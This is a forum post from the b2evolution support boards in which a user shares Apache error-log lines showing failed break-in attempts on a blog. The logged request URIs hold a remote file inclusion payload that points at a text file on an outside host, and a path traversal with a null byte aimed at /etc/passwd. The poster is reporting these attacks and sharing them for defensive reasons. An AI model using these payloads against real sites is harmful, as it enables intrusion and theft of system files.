- b2evolution CMS Support Forums
- b2evolution Support
- General Support
- [2.x] unsucessful break in attempts on b2evolution
1 austriaco Mar 27, 2009 11:10
My b2evolution Version: 2.x
browsing through my apache error_log I notice several interesting entries:
[26-Mar-2009 21:42:13] b2evolution error: The requested skin name is invalid. in public_html/blog/inc/_blog_main.inc.php at line 445 / REQUEST
_URI: /blog/v1.0?tempskin=_sitemap//includes/block_center_down.php?row_mysql_blocks_center_down[file]=http://www.dtcc.edu.vn/images/kacebongid.txt%0D?? / HT
TP_REFERER: -
[26-Mar-2009 21:43:38] b2evolution error: The requested skin name is invalid. in public_html/blog/inc/_blog_main.inc.php at line 445 / REQUEST
_URI: /blog/v1.0?tempskin=_sitem%20...//includes/block_center_down.php?row_mysql_blocks_center_down[file]=http://www.dtcc.edu.vn/images/kacebongid.txt%0D??
/ HTTP_REFERER: -
[26-Mar-2009 22:14:12] b2evolution error: The requested skin name is invalid. in public_html/blog/inc/_blog_main.inc.php at line 445 / REQUEST
_URI: /blog/v1.0?tempskin=_sitemap//window_down.php?row_mysql_bloginfo[theme]=../../../../../../../../../../../../../../../etc/passwd%00 / HTTP_REFERER: -
b2evolution version 2.4.6 behaves appropriately, it seems to me.
These attacks are intended for another blog application called blog+ I think. But anyway I wanted to bring this to more expert eye's attention.